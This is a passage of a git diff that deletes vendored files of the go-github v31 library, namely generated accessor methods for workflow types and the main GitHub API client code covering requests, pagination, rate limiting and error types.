CreatedAt field if it's non-nil, zero value otherwise. -func (w *Workflow) GetCreatedAt() Timestamp { - if w == nil || w.CreatedAt == nil { - return Timestamp{} - } - return *w.CreatedAt -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (w *Workflow) GetHTMLURL() string { - if w == nil || w.HTMLURL == nil { - return "" - } - return *w.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (w *Workflow) GetID() int64 { - if w == nil || w.ID == nil { - return 0 - } - return *w.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (w *Workflow) GetName() string { - if w == nil || w.Name == nil { - return "" - } - return *w.Name -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (w *Workflow) GetNodeID() string { - if w == nil || w.NodeID == nil { - return "" - } - return *w.NodeID -} - -// GetPath returns the Path field if it's non-nil, zero value otherwise. -func (w *Workflow) GetPath() string { - if w == nil || w.Path == nil { - return "" - } - return *w.Path -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (w *Workflow) GetState() string { - if w == nil || w.State == nil { - return "" - } - return *w.State -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (w *Workflow) GetUpdatedAt() Timestamp { - if w == nil || w.UpdatedAt == nil { - return Timestamp{} - } - return *w.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (w *Workflow) GetURL() string { - if w == nil || w.URL == nil { - return "" - } - return *w.URL -} - -// GetCheckRunURL returns the CheckRunURL field if it's non-nil, zero value otherwise. -func (w *WorkflowJob) GetCheckRunURL() string { - if w == nil || w.CheckRunURL == nil { - return "" - } - return *w.CheckRunURL -} - -// GetCompletedAt returns the CompletedAt field if it's non-nil, zero value otherwise. -func (w *WorkflowJob) GetCompletedAt() Timestamp { - if w == nil || w.CompletedAt == nil { - return Timestamp{} - } - return *w.CompletedAt -} - -// GetConclusion returns the Conclusion field if it's non-nil, zero value otherwise. -func (w *WorkflowJob) GetConclusion() string { - if w == nil || w.Conclusion == nil { - return "" - } - return *w.Conclusion -} - -// GetHeadSHA returns the HeadSHA field if it's non-nil, zero value otherwise. -func (w *WorkflowJob) GetHeadSHA() string { - if w == nil || w.HeadSHA == nil { - return "" - } - return *w.HeadSHA -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (w *WorkflowJob) GetHTMLURL() string { - if w == nil || w.HTMLURL == nil { - return "" - } - return *w.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (w *WorkflowJob) GetID() int64 { - if w == nil || w.ID == nil { - return 0 - } - return *w.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (w *WorkflowJob) GetName() string { - if w == nil || w.Name == nil { - return "" - } - return *w.Name -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (w *WorkflowJob) GetNodeID() string { - if w == nil || w.NodeID == nil { - return "" - } - return *w.NodeID -} - -// GetRunID returns the RunID field if it's non-nil, zero value otherwise. -func (w *WorkflowJob) GetRunID() int64 { - if w == nil || w.RunID == nil { - return 0 - } - return *w.RunID -} - -// GetRunURL returns the RunURL field if it's non-nil, zero value otherwise. -func (w *WorkflowJob) GetRunURL() string { - if w == nil || w.RunURL == nil { - return "" - } - return *w.RunURL -} - -// GetStartedAt returns the StartedAt field if it's non-nil, zero value otherwise. -func (w *WorkflowJob) GetStartedAt() Timestamp { - if w == nil || w.StartedAt == nil { - return Timestamp{} - } - return *w.StartedAt -} - -// GetStatus returns the Status field if it's non-nil, zero value otherwise. -func (w *WorkflowJob) GetStatus() string { - if w == nil || w.Status == nil { - return "" - } - return *w.Status -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (w *WorkflowJob) GetURL() string { - if w == nil || w.URL == nil { - return "" - } - return *w.URL -} - -// GetArtifactsURL returns the ArtifactsURL field if it's non-nil, zero value otherwise. -func (w *WorkflowRun) GetArtifactsURL() string { - if w == nil || w.ArtifactsURL == nil { - return "" - } - return *w.ArtifactsURL -} - -// GetCancelURL returns the CancelURL field if it's non-nil, zero value otherwise. -func (w *WorkflowRun) GetCancelURL() string { - if w == nil || w.CancelURL == nil { - return "" - } - return *w.CancelURL -} - -// GetCheckSuiteURL returns the CheckSuiteURL field if it's non-nil, zero value otherwise. -func (w *WorkflowRun) GetCheckSuiteURL() string { - if w == nil || w.CheckSuiteURL == nil { - return "" - } - return *w.CheckSuiteURL -} - -// GetConclusion returns the Conclusion field if it's non-nil, zero value otherwise. -func (w *WorkflowRun) GetConclusion() string { - if w == nil || w.Conclusion == nil { - return "" - } - return *w.Conclusion -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (w *WorkflowRun) GetCreatedAt() Timestamp { - if w == nil || w.CreatedAt == nil { - return Timestamp{} - } - return *w.CreatedAt -} - -// GetEvent returns the Event field if it's non-nil, zero value otherwise. -func (w *WorkflowRun) GetEvent() string { - if w == nil || w.Event == nil { - return "" - } - return *w.Event -} - -// GetHeadBranch returns the HeadBranch field if it's non-nil, zero value otherwise. -func (w *WorkflowRun) GetHeadBranch() string { - if w == nil || w.HeadBranch == nil { - return "" - } - return *w.HeadBranch -} - -// GetHeadCommit returns the HeadCommit field. -func (w *WorkflowRun) GetHeadCommit() *HeadCommit { - if w == nil { - return nil - } - return w.HeadCommit -} - -// GetHeadRepository returns the HeadRepository field. -func (w *WorkflowRun) GetHeadRepository() *Repository { - if w == nil { - return nil - } - return w.HeadRepository -} - -// GetHeadSHA returns the HeadSHA field if it's non-nil, zero value otherwise. -func (w *WorkflowRun) GetHeadSHA() string { - if w == nil || w.HeadSHA == nil { - return "" - } - return *w.HeadSHA -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (w *WorkflowRun) GetHTMLURL() string { - if w == nil || w.HTMLURL == nil { - return "" - } - return *w.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (w *WorkflowRun) GetID() int64 { - if w == nil || w.ID == nil { - return 0 - } - return *w.ID -} - -// GetJobsURL returns the JobsURL field if it's non-nil, zero value otherwise. -func (w *WorkflowRun) GetJobsURL() string { - if w == nil || w.JobsURL == nil { - return "" - } - return *w.JobsURL -} - -// GetLogsURL returns the LogsURL field if it's non-nil, zero value otherwise. -func (w *WorkflowRun) GetLogsURL() string { - if w == nil || w.LogsURL == nil { - return "" - } - return *w.LogsURL -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (w *WorkflowRun) GetNodeID() string { - if w == nil || w.NodeID == nil { - return "" - } - return *w.NodeID -} - -// GetRepository returns the Repository field. -func (w *WorkflowRun) GetRepository() *Repository { - if w == nil { - return nil - } - return w.Repository -} - -// GetRerunURL returns the RerunURL field if it's non-nil, zero value otherwise. -func (w *WorkflowRun) GetRerunURL() string { - if w == nil || w.RerunURL == nil { - return "" - } - return *w.RerunURL -} - -// GetRunNumber returns the RunNumber field if it's non-nil, zero value otherwise. -func (w *WorkflowRun) GetRunNumber() int { - if w == nil || w.RunNumber == nil { - return 0 - } - return *w.RunNumber -} - -// GetStatus returns the Status field if it's non-nil, zero value otherwise. -func (w *WorkflowRun) GetStatus() string { - if w == nil || w.Status == nil { - return "" - } - return *w.Status -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (w *WorkflowRun) GetUpdatedAt() Timestamp { - if w == nil || w.UpdatedAt == nil { - return Timestamp{} - } - return *w.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (w *WorkflowRun) GetURL() string { - if w == nil || w.URL == nil { - return "" - } - return *w.URL -} - -// GetWorkflowURL returns the WorkflowURL field if it's non-nil, zero value otherwise. -func (w *WorkflowRun) GetWorkflowURL() string { - if w == nil || w.WorkflowURL == nil { - return "" - } - return *w.WorkflowURL -} - -// GetTotalCount returns the TotalCount field if it's non-nil, zero value otherwise. -func (w *WorkflowRuns) GetTotalCount() int { - if w == nil || w.TotalCount == nil { - return 0 - } - return *w.TotalCount -} - -// GetTotalCount returns the TotalCount field if it's non-nil, zero value otherwise. -func (w *Workflows) GetTotalCount() int { - if w == nil || w.TotalCount == nil { - return 0 - } - return *w.TotalCount -} diff --git a/vendor/github.com/google/go-github/v31/github/github.go b/vendor/github.com/google/go-github/v31/github/github.go deleted file mode 100644 index 94f31a4c26..0000000000 --- a/vendor/github.com/google/go-github/v31/github/github.go +++ /dev/null @@ -1,1078 +0,0 @@ -// Copyright 2013 The go-github AUTHORS. All rights reserved. -// -// Use of this source code is governed by a BSD-style -// license that can be found in the LICENSE file. - -//go:generate go run gen-accessors.go -//go:generate go run gen-stringify-test.go - -package github - -import ( - "bytes" - "context" - "encoding/json" - "errors" - "fmt" - "io" - "io/ioutil" - "net/http" - "net/url" - "reflect" - "strconv" - "strings" - "sync" - "time" - - "github.com/google/go-querystring/query" -) - -const ( - defaultBaseURL = "https://api.github.com/" - uploadBaseURL = "https://uploads.github.com/" - userAgent = "go-github" - - headerRateLimit = "X-RateLimit-Limit" - headerRateRemaining = "X-RateLimit-Remaining" - headerRateReset = "X-RateLimit-Reset" - headerOTP = "X-GitHub-OTP" - - mediaTypeV3 = "application/vnd.github.v3+json" - defaultMediaType = "application/octet-stream" - mediaTypeV3SHA = "application/vnd.github.v3.sha" - mediaTypeV3Diff = "application/vnd.github.v3.diff" - mediaTypeV3Patch = "application/vnd.github.v3.patch" - mediaTypeOrgPermissionRepo = "application/vnd.github.v3.repository+json" - - // Media Type values to access preview APIs - - // https://developer.github.com/changes/2020-01-10-revoke-installation-token/ - mediaTypeRevokeTokenPreview = "application/vnd.github.gambit-preview+json" - - // https://developer.github.com/changes/2014-12-09-new-attributes-for-stars-api/ - mediaTypeStarringPreview = "application/vnd.github.v3.star+json" - - // https://help.github.com/enterprise/2.4/admin/guides/migrations/exporting-the-github-com-organization-s-repositories/ - mediaTypeMigrationsPreview = "application/vnd.github.wyandotte-preview+json" - - // https://developer.github.com/changes/2016-04-06-deployment-and-deployment-status-enhancements/ - mediaTypeDeploymentStatusPreview = "application/vnd.github.ant-man-preview+json" - - // https://developer.github.com/changes/2018-10-16-deployments-environments-states-and-auto-inactive-updates/ - mediaTypeExpandDeploymentStatusPreview = "application/vnd.github.flash-preview+json" - - // https://developer.github.com/changes/2016-05-12-reactions-api-preview/ - mediaTypeReactionsPreview = "application/vnd.github.squirrel-girl-preview" - - // https://developer.github.com/changes/2016-05-23-timeline-preview-api/ - mediaTypeTimelinePreview = "application/vnd.github.mockingbird-preview+json" - - // https://developer.github.com/changes/2016-09-14-projects-api/ - mediaTypeProjectsPreview = "application/vnd.github.inertia-preview+json" - - // https://developer.github.com/changes/2016-09-14-Integrations-Early-Access/ - mediaTypeIntegrationPreview = "application/vnd.github.machine-man-preview+json" - - // https://developer.github.com/changes/2017-01-05-commit-search-api/ - mediaTypeCommitSearchPreview = "application/vnd.github.cloak-preview+json" - - // https://developer.github.com/changes/2017-02-28-user-blocking-apis-and-webhook/ - mediaTypeBlockUsersPreview = "application/vnd.github.giant-sentry-fist-preview+json" - - // https://developer.github.com/changes/2017-02-09-community-health/ - mediaTypeRepositoryCommunityHealthMetricsPreview = "application/vnd.github.black-panther-preview+json" - - // https://developer.github.com/changes/2017-05-23-coc-api/ - mediaTypeCodesOfConductPreview = "application/vnd.github.scarlet-witch-preview+json" - - // https://developer.github.com/changes/2017-07-17-update-topics-on-repositories/ - mediaTypeTopicsPreview = "application/vnd.github.mercy-preview+json" - - // https://developer.github.com/changes/2018-03-16-protected-branches-required-approving-reviews/ - mediaTypeRequiredApprovingReviewsPreview = "application/vnd.github.luke-cage-preview+json" - - // https://developer.github.com/changes/2018-01-10-lock-reason-api-preview/ - mediaTypeLockReasonPreview = "application/vnd.github.sailor-v-preview+json" - - // https://developer.github.com/changes/2018-05-07-new-checks-api-public-beta/ - mediaTypeCheckRunsPreview = "application/vnd.github.antiope-preview+json" - - // https://developer.github.com/enterprise/2.13/v3/repos/pre_receive_hooks/ - mediaTypePreReceiveHooksPreview = "application/vnd.github.eye-scream-preview" - - // https://developer.github.com/changes/2018-02-22-protected-branches-required-signatures/ - mediaTypeSignaturePreview = "application/vnd.github.zzzax-preview+json" - - // https://developer.github.com/changes/2018-09-05-project-card-events/ - mediaTypeProjectCardDetailsPreview = "application/vnd.github.starfox-preview+json" - - // https://developer.github.com/changes/2018-12-18-interactions-preview/ - mediaTypeInteractionRestrictionsPreview = "application/vnd.github.sombra-preview+json" - - // https://developer.github.com/changes/2019-02-14-draft-pull-requests/ - mediaTypeDraftPreview = "application/vnd.github.shadow-cat-preview+json" - - // https://developer.github.com/changes/2019-03-14-enabling-disabling-pages/ - mediaTypeEnablePagesAPIPreview = "application/vnd.github.switcheroo-preview+json" - - // https://developer.github.com/changes/2019-04-24-vulnerability-alerts/ - mediaTypeRequiredVulnerabilityAlertsPreview = "application/vnd.github.dorian-preview+json" - - // https://developer.github.com/changes/2019-06-04-automated-security-fixes/ - mediaTypeRequiredAutomatedSecurityFixesPreview = "application/vnd.github.london-preview+json" - - // https://developer.github.com/changes/2019-05-29-update-branch-api/ - mediaTypeUpdatePullRequestBranchPreview = "application/vnd.github.lydian-preview+json" - - // https://developer.github.com/changes/2019-04-11-pulls-branches-for-commit/ - mediaTypeListPullsOrBranchesForCommitPreview = "application/vnd.github.groot-preview+json" - - // https://developer.github.com/v3/previews/#repository-creation-permissions - mediaTypeMemberAllowedRepoCreationTypePreview = "application/vnd.github.surtur-preview+json" - - // https://developer.github.com/v3/previews/#create-and-use-repository-templates - mediaTypeRepositoryTemplatePreview = "application/vnd.github.baptiste-preview+json" - - // https://developer.github.com/changes/2019-10-03-multi-line-comments/ - mediaTypeMultiLineCommentsPreview = "application/vnd.github.comfort-fade-preview+json" - - // https://developer.github.com/changes/2019-11-05-deprecated-passwords-and-authorizations-api/ - mediaTypeOAuthAppPreview = "application/vnd.github.doctor-strange-preview+json" - - // https://developer.github.com/changes/2019-12-03-internal-visibility-changes/ - mediaTypeRepositoryVisibilityPreview = "application/vnd.github.nebula-preview+json" -) - -// A Client manages communication with the GitHub API. -type Client struct { - clientMu sync.Mutex // clientMu protects the client during calls that modify the CheckRedirect func. - client *http.Client // HTTP client used to communicate with the API. - - // Base URL for API requests. Defaults to the public GitHub API, but can be - // set to a domain endpoint to use with GitHub Enterprise. BaseURL should - // always be specified with a trailing slash. - BaseURL *url.URL - - // Base URL for uploading files. - UploadURL *url.URL - - // User agent used when communicating with the GitHub API. - UserAgent string - - rateMu sync.Mutex - rateLimits [categories]Rate // Rate limits for the client as determined by the most recent API calls. - - common service // Reuse a single struct instead of allocating one for each service on the heap. - - // Services used for talking to different parts of the GitHub API. - Actions *ActionsService - Activity *ActivityService - Admin *AdminService - Apps *AppsService - Authorizations *AuthorizationsService - Checks *ChecksService - Gists *GistsService - Git *GitService - Gitignores *GitignoresService - Interactions *InteractionsService - Issues *IssuesService - Licenses *LicensesService - Marketplace *MarketplaceService - Migrations *MigrationService - Organizations *OrganizationsService - Projects *ProjectsService - PullRequests *PullRequestsService - Reactions *ReactionsService - Repositories *RepositoriesService - Search *SearchService - Teams *TeamsService - Users *UsersService -} - -type service struct { - client *Client -} - -// ListOptions specifies the optional parameters to various List methods that -// support offset pagination. -type ListOptions struct { - // For paginated result sets, page of results to retrieve. - Page int `url:"page,omitempty"` - - // For paginated result sets, the number of results to include per page. - PerPage int `url:"per_page,omitempty"` -} - -// ListCursorOptions specifies the optional parameters to various List methods that -// support cursor pagination. -type ListCursorOptions struct { - // For paginated result sets, page of results to retrieve. - Page string `url:"page,omitempty"` - - // For paginated result sets, the number of results to include per page. - PerPage int `url:"per_page,omitempty"` -} - -// UploadOptions specifies the parameters to methods that support uploads. -type UploadOptions struct { - Name string `url:"name,omitempty"` - Label string `url:"label,omitempty"` - MediaType string `url:"-"` -} - -// RawType represents type of raw format of a request instead of JSON. -type RawType uint8 - -const ( - // Diff format. - Diff RawType = 1 + iota - // Patch format. - Patch -) - -// RawOptions specifies parameters when user wants to get raw format of -// a response instead of JSON. -type RawOptions struct { - Type RawType -} - -// addOptions adds the parameters in opt as URL query parameters to s. opt -// must be a struct whose fields may contain "url" tags. -func addOptions(s string, opts interface{}) (string, error) { - v := reflect.ValueOf(opts) - if v.Kind() == reflect.Ptr && v.IsNil() { - return s, nil - } - - u, err := url.Parse(s) - if err != nil { - return s, err - } - - qs, err := query.Values(opts) - if err != nil { - return s, err - } - - u.RawQuery = qs.Encode() - return u.String(), nil -} - -// NewClient returns a new GitHub API client. If a nil httpClient is -// provided, a new http.Client will be used. To use API methods which require -// authentication, provide an http.Client that will perform the authentication -// for you (such as that provided by the golang.org/x/oauth2 library). -func NewClient(httpClient *http.Client) *Client { - if httpClient == nil { - httpClient = &http.Client{} - } - baseURL, _ := url.Parse(defaultBaseURL) - uploadURL, _ := url.Parse(uploadBaseURL) - - c := &Client{client: httpClient, BaseURL: baseURL, UserAgent: userAgent, UploadURL: uploadURL} - c.common.client = c - c.Actions = (*ActionsService)(&c.common) - c.Activity = (*ActivityService)(&c.common) - c.Admin = (*AdminService)(&c.common) - c.Apps = (*AppsService)(&c.common) - c.Authorizations = (*AuthorizationsService)(&c.common) - c.Checks = (*ChecksService)(&c.common) - c.Gists = (*GistsService)(&c.common) - c.Git = (*GitService)(&c.common) - c.Gitignores = (*GitignoresService)(&c.common) - c.Interactions = (*InteractionsService)(&c.common) - c.Issues = (*IssuesService)(&c.common) - c.Licenses = (*LicensesService)(&c.common) - c.Marketplace = &MarketplaceService{client: c} - c.Migrations = (*MigrationService)(&c.common) - c.Organizations = (*OrganizationsService)(&c.common) - c.Projects = (*ProjectsService)(&c.common) - c.PullRequests = (*PullRequestsService)(&c.common) - c.Reactions = (*ReactionsService)(&c.common) - c.Repositories = (*RepositoriesService)(&c.common) - c.Search = (*SearchService)(&c.common) - c.Teams = (*TeamsService)(&c.common) - c.Users = (*UsersService)(&c.common) - return c -} - -// NewEnterpriseClient returns a new GitHub API client with provided -// base URL and upload URL (often the same URL and is your GitHub Enterprise hostname). -// If either URL does not have the suffix "/api/v3/", it will be added automatically. -// If a nil httpClient is provided, a new http.Client will be used. -// -// Note that NewEnterpriseClient is a convenience helper only; -// its behavior is equivalent to using NewClient, followed by setting -// the BaseURL and UploadURL fields. -// -// Another important thing is that by default, the GitHub Enterprise URL format -// should be http(s)://[hostname]/api/v3 or you will always receive the 406 status code. -func NewEnterpriseClient(baseURL, uploadURL string, httpClient *http.Client) (*Client, error) { - baseEndpoint, err := url.Parse(baseURL) - if err != nil { - return nil, err - } - if !strings.HasSuffix(baseEndpoint.Path, "/") { - baseEndpoint.Path += "/" - } - if !strings.HasSuffix(baseEndpoint.Path, "/api/v3/") { - baseEndpoint.Path += "api/v3/" - } - - uploadEndpoint, err := url.Parse(uploadURL) - if err != nil { - return nil, err - } - if !strings.HasSuffix(uploadEndpoint.Path, "/") { - uploadEndpoint.Path += "/" - } - if !strings.HasSuffix(uploadEndpoint.Path, "/api/v3/") { - uploadEndpoint.Path += "api/v3/" - } - - c := NewClient(httpClient) - c.BaseURL = baseEndpoint - c.UploadURL = uploadEndpoint - return c, nil -} - -// NewRequest creates an API request. A relative URL can be provided in urlStr, -// in which case it is resolved relative to the BaseURL of the Client. -// Relative URLs should always be specified without a preceding slash. If -// specified, the value pointed to by body is JSON encoded and included as the -// request body. -func (c *Client) NewRequest(method, urlStr string, body interface{}) (*http.Request, error) { - if !strings.HasSuffix(c.BaseURL.Path, "/") { - return nil, fmt.Errorf("BaseURL must have a trailing slash, but %q does not", c.BaseURL) - } - u, err := c.BaseURL.Parse(urlStr) - if err != nil { - return nil, err - } - - var buf io.ReadWriter - if body != nil { - buf = &bytes.Buffer{} - enc := json.NewEncoder(buf) - enc.SetEscapeHTML(false) - err := enc.Encode(body) - if err != nil { - return nil, err - } - } - - req, err := http.NewRequest(method, u.String(), buf) - if err != nil { - return nil, err - } - - if body != nil { - req.Header.Set("Content-Type", "application/json") - } - req.Header.Set("Accept", mediaTypeV3) - if c.UserAgent != "" { - req.Header.Set("User-Agent", c.UserAgent) - } - return req, nil -} - -// NewUploadRequest creates an upload request. A relative URL can be provided in -// urlStr, in which case it is resolved relative to the UploadURL of the Client. -// Relative URLs should always be specified without a preceding slash. -func (c *Client) NewUploadRequest(urlStr string, reader io.Reader, size int64, mediaType string) (*http.Request, error) { - if !strings.HasSuffix(c.UploadURL.Path, "/") { - return nil, fmt.Errorf("UploadURL must have a trailing slash, but %q does not", c.UploadURL) - } - u, err := c.UploadURL.Parse(urlStr) - if err != nil { - return nil, err - } - - req, err := http.NewRequest("POST", u.String(), reader) - if err != nil { - return nil, err - } - req.ContentLength = size - - if mediaType == "" { - mediaType = defaultMediaType - } - req.Header.Set("Content-Type", mediaType) - req.Header.Set("Accept", mediaTypeV3) - req.Header.Set("User-Agent", c.UserAgent) - return req, nil -} - -// Response is a GitHub API response. This wraps the standard http.Response -// returned from GitHub and provides convenient access to things like -// pagination links. -type Response struct { - *http.Response - - // These fields provide the page values for paginating through a set of - // results. Any or all of these may be set to the zero value for - // responses that are not part of a paginated set, or for which there - // are no additional pages. - // - // These fields support what is called "offset pagination" and should - // be used with the ListOptions struct. - NextPage int - PrevPage int - FirstPage int - LastPage int - - // Additionally, some APIs support "cursor pagination" instead of offset. - // This means that a token points directly to the next record which - // can lead to O(1) performance compared to O(n) performance provided - // by offset pagination. - // - // For APIs that support cursor pagination (such as - // TeamsService.ListIDPGroupsInOrganization), the following field - // will be populated to point to the next page. - // - // To use this token, set ListCursorOptions.Page to this value before - // calling the endpoint again. - NextPageToken string - - // Explicitly specify the Rate type so Rate's String() receiver doesn't - // propagate to Response. - Rate Rate -} - -// newResponse creates a new Response for the provided http.Response. -// r must not be nil. -func newResponse(r *http.Response) *Response { - response := &Response{Response: r} - response.populatePageValues() - response.Rate = parseRate(r) - return response -} - -// populatePageValues parses the HTTP Link response headers and populates the -// various pagination link values in the Response. -func (r *Response) populatePageValues() { - if links, ok := r.Response.Header["Link"]; ok && len(links) > 0 { - for _, link := range strings.Split(links[0], ",") { - segments := strings.Split(strings.TrimSpace(link), ";") - - // link must at least have href and rel - if len(segments) < 2 { - continue - } - - // ensure href is properly formatted - if !strings.HasPrefix(segments[0], "<") || !strings.HasSuffix(segments[0], ">") { - continue - } - - // try to pull out page parameter - url, err := url.Parse(segments[0][1 : len(segments[0])-1]) - if err != nil { - continue - } - page := url.Query().Get("page") - if page == "" { - continue - } - - for _, segment := range segments[1:] { - switch strings.TrimSpace(segment) { - case `rel="next"`: - if r.NextPage, err = strconv.Atoi(page); err != nil { - r.NextPageToken = page - } - case `rel="prev"`: - r.PrevPage, _ = strconv.Atoi(page) - case `rel="first"`: - r.FirstPage, _ = strconv.Atoi(page) - case `rel="last"`: - r.LastPage, _ = strconv.Atoi(page) - } - - } - } - } -} - -// parseRate parses the rate related headers. -func parseRate(r *http.Response) Rate { - var rate Rate - if limit := r.Header.Get(headerRateLimit); limit != "" { - rate.Limit, _ = strconv.Atoi(limit) - } - if remaining := r.Header.Get(headerRateRemaining); remaining != "" { - rate.Remaining, _ = strconv.Atoi(remaining) - } - if reset := r.Header.Get(headerRateReset); reset != "" { - if v, _ := strconv.ParseInt(reset, 10, 64); v != 0 { - rate.Reset = Timestamp{time.Unix(v, 0)} - } - } - return rate -} - -// Do sends an API request and returns the API response. The API response is -// JSON decoded and stored in the value pointed to by v, or returned as an -// error if an API error has occurred. If v implements the io.Writer -// interface, the raw response body will be written to v, without attempting to -// first decode it. If rate limit is exceeded and reset time is in the future, -// Do returns *RateLimitError immediately without making a network API call. -// -// The provided ctx must be non-nil, if it is nil an error is returned. If it is canceled or times out, -// ctx.Err() will be returned. -func (c *Client) Do(ctx context.Context, req *http.Request, v interface{}) (*Response, error) { - if ctx == nil { - return nil, errors.New("context must be non-nil") - } - req = withContext(ctx, req) - - rateLimitCategory := category(req.URL.Path) - - // If we've hit rate limit, don't make further requests before Reset time. - if err := c.checkRateLimitBeforeDo(req, rateLimitCategory); err != nil { - return &Response{ - Response: err.Response, - Rate: err.Rate, - }, err - } - - resp, err := c.client.Do(req) - if err != nil { - // If we got an error, and the context has been canceled, - // the context's error is probably more useful. - select { - case <-ctx.Done(): - return nil, ctx.Err() - default: - } - - // If the error type is *url.Error, sanitize its URL before returning. - if e, ok := err.(*url.Error); ok { - if url, err := url.Parse(e.URL); err == nil { - e.URL = sanitizeURL(url).String() - return nil, e - } - } - - return nil, err - } - defer resp.Body.Close() - - response := newResponse(resp) - - c.rateMu.Lock() - c.rateLimits[rateLimitCategory] = response.Rate - c.rateMu.Unlock() - - err = CheckResponse(resp) - if err != nil { - // Special case for AcceptedErrors. If an AcceptedError - // has been encountered, the response's payload will be - // added to the AcceptedError and returned. - // - // Issue #1022 - aerr, ok := err.(*AcceptedError) - if ok { - b, readErr := ioutil.ReadAll(resp.Body) - if readErr != nil { - return response, readErr - } - - aerr.Raw = b - return response, aerr - } - - return response, err - } - - if v != nil { - if w, ok := v.(io.Writer); ok { - io.Copy(w, resp.Body) - } else { - decErr := json.NewDecoder(resp.Body).Decode(v) - if decErr == io.EOF { - decErr = nil // ignore EOF errors caused by empty response body - } - if decErr != nil { - err = decErr - } - } - } - - return response, err -} - -// checkRateLimitBeforeDo does not make any network calls, but uses existing knowledge from -// current client state in order to quickly check if *RateLimitError can be immediately returned -// from Client.Do, and if so, returns it so that Client.Do can skip making a network API call unnecessarily. -// Otherwise it returns nil, and Client.Do should proceed normally. -func (c *Client) checkRateLimitBeforeDo(req *http.Request, rateLimitCategory rateLimitCategory) *RateLimitError { - c.rateMu.Lock() - rate := c.rateLimits[rateLimitCategory] - c.rateMu.Unlock() - if !rate.Reset.Time.IsZero() && rate.Remaining == 0 && time.Now().Before(rate.Reset.Time) { - // Create a fake response. - resp := &http.Response{ - Status: http.StatusText(http.StatusForbidden), - StatusCode: http.StatusForbidden, - Request: req, - Header: make(http.Header), - Body: ioutil.NopCloser(strings.NewReader("")), - } - return &RateLimitError{ - Rate: rate, - Response: resp, - Message: fmt.Sprintf("API rate limit of %v still exceeded until %v, not making remote request.", rate.Limit, rate.Reset.Time), - } - } - - return nil -} - -/* -An ErrorResponse reports one or more errors caused by an API request. - -GitHub API docs: https://developer.github.com/v3/#client-errors -*/ -type ErrorResponse struct { - Response *http.Response // HTTP response that caused this error - Message string `json:"message"` // error message - Errors []Error `json:"errors"` // more detail on individual errors - // Block is only populated on certain types of errors such as code 451. - // See https://developer.github.com/changes/2016-03-17-the-451-status-code-is-now-supported/ - // for more information. - Block *struct { - Reason string `json:"reason,omitempty"` - CreatedAt *Timestamp `json:"created_at,omitempty"` - } `json:"block,omitempty"` - // Most errors will also include a documentation_url field pointing - // to some content that might help you resolve the error, see - // https://developer.github.com/v3/#client-errors - DocumentationURL string `json:"documentation_url,omitempty"` -} - -func (r *ErrorResponse) Error() string { - return fmt.Sprintf("%v %v: %d %v %+v", - r.Response.Request.Method, sanitizeURL(r.Response.Request.URL), - r.Response.StatusCode, r.Message, r.Errors) -} - -// TwoFactorAuthError occurs when using HTTP Basic Authentication for a user -// that has two-factor authentication enabled. The request can be reattempted -// by providing a one-time password in the request. -type TwoFactorAuthError ErrorResponse - -func (r *TwoFactorAuthError) Error() string { return (*ErrorResponse)(r).Error() } - -// RateLimitError occurs when GitHub returns 403 Forbidden response with a rate limit -// remaining value of 0. -type RateLimitError struct { - Rate Rate // Rate specifies last known rate limit for the client - Response *http.Response // HTTP response that caused this error - Message string `json:"message"` // error message -} - -func (r *RateLimitError) Error() string { - return fmt.Sprintf("%v %v: %d %v %v", - r.Response.Request.Method, sanitizeURL(r.Response.Request.URL), - r.Response.StatusCode, r.Message, formatRateReset(time.Until(r.Rate.Reset.Time))) -} - -// AcceptedError occurs when GitHub returns 202 Accepted response with an -// empty body, which means a job was scheduled on the GitHub side to process -// the information needed and cache it. -// Technically, 202 Accepted is not a real error, it's just used to -// indicate that results are not ready yet, but should be available soon. -// The request can be repeated after some time. -type AcceptedError struct { - // Raw contains the response body. - Raw []byte -} - -func (*AcceptedError) Error() string { - return "job scheduled on GitHub side; try again later" -} - -// AbuseRateLimitError occurs when GitHub returns 403 Forbidden response with the -// "documentation_url" field value equal to "https://developer.github.com/v3/#abuse-rate-limits". -type AbuseRateLimitError struct { - Response *http.Response // HTTP response that caused this error - Message string `json:"message"` // error message - - // RetryAfter is provided with some abuse rate limit errors. If present, - // it is the amount of time that the client should wait before retrying. - // Otherwise, the client should try again later (after an unspecified amount of time). - RetryAfter *time.Duration -} - -func (r *AbuseRateLimitError) Error() string { - return fmt.Sprintf("%v %v: %d %v", - r.Response.Request.Method, sanitizeURL(r.Response.Request.URL), - r.Response.StatusCode, r.Message) -} - -// sanitizeURL redacts the client_secret parameter from the URL which may be -// exposed to the user. -func sanitizeURL(uri *url.URL) *url.URL { - if uri == nil { - return nil - } - params := uri.Query() - if len(params.Get("client_secret")) > 0 { - params.Set("client_secret", "REDACTED") - uri.RawQuery = params.Encode() - } - return uri -} - -/* -An Error reports more details on an individual error in an ErrorResponse. -These are the possible validation error codes: - - missing: - resource does not exist - missing_field: - a required field on a resource has not been set - invalid: - the formatting of a field is invalid - already_exists: - another resource has the same valid as this field - custom: - some resources return this (e.g. github.User.CreateKey()), additional - information is set in the Message field of the Error - -GitHub error responses structure are often undocumented and inconsistent. -Sometimes error is just a simple string (Issue #540). -In such cases, Message represents an error message as a workaround. - -GitHub API docs: https://developer.github.com/v3/#client-errors -*/ -type Error struct { - Resource string `json:"resource"` // resource on which the error occurred - Field string `json:"field"` // field on which the error occurred - Code string `json:"code"` // validation error code - Message string `json:"message"` // Message 